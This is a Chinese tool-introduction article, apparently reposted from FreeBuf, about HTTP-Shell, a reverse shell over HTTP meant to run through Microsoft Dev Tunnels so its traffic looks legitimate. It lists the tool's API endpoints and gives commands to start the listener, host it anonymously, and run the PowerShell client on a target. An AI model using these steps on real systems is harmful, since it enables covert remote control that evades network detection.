龙空技术网

HTTP-Shell:一款功能强大的跨平台HTTP反向Shell工具

FreeBuf 713

前言:

现时大家对“http监听工具”大致比较注重,各位老铁们都想要分析一些“http监听工具”的相关文章。那么小编同时在网摘上汇集了一些对于“http监听工具””的相关知识,希望看官们能喜欢,各位老铁们一起来学习一下吧!

关于HTTP-Shell

HTTP-Shell是一款功能强大的跨平台HTTP反向Shell工具,该工具可以帮助广大研究人员通过HTTP跟目标设备建立反向连接,并获取到一个类Shell接口。跟其他反向Shell的不同之处在于,HTTP-Shell的主要目标就是与Microsoft Dev Tunnels(微软开发隧道)结合使用,以便获得尽可能良性的合法链接。

需要注意的是,HTTP-Shell并不是一款完全交互式的工具,但是可以在屏幕上显示输出相关的错误信息,可以上传和下载文件,并提供了命令行历史记录、终端清理(CTRL + L)、自动重连和目录切换等功能。

工具要求

Python 3(服务器端)

Bash(Linux客户端)

PowerShell v4.0+(Windows客户端)

工具通信机制

1、通过 POST 将用户、路径和主机名发送到路径“/api/info”

2、在路径“/api/token”中通过 GET 获取命令提示符

3、通过 POST 等待上一个的输出路径“/api/debug”

4、如果发生错误,则通过 POST 发送到路径“/api/error”

5、如果请求下载文件,则通过 POST 使用“/api/upload”

6、如果请求上传文件,则通过POST使用“/api/download”

工具下载

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3环境。接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone 

然后切换到项目目录中,使用pip3命令和项目提供的requirements.txt文件安装该工具所需的其他依赖组件:

cd HTTP-Shellpip3 install -r requirements.txt
工具使用工具使用样例

该工具主要有下列三个脚本文件组成:

– HTTP-Server.py:服务器,用 Python 3 编写

– HTTP-Client.sh:Linux 客户端,用 Bash 编写

– HTTP- Client.ps1:Windows 客户端,用 PowerShell 编写

首先我们将监听服务器,然后通过隧道托管它:

python3 HTTP-Server.py 443./devtunnel host -p 443 --allow-anonymous

接下来,我们将在目标设备上运行客户端,如下所示:

.\HTTP-Client.ps1 -c ón_del_túnel.devtunnel.ms

如果一切顺利,我们将收到远程Shell:

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

项目地址

HTTP-Shell:

参考资料

标签: #http监听工具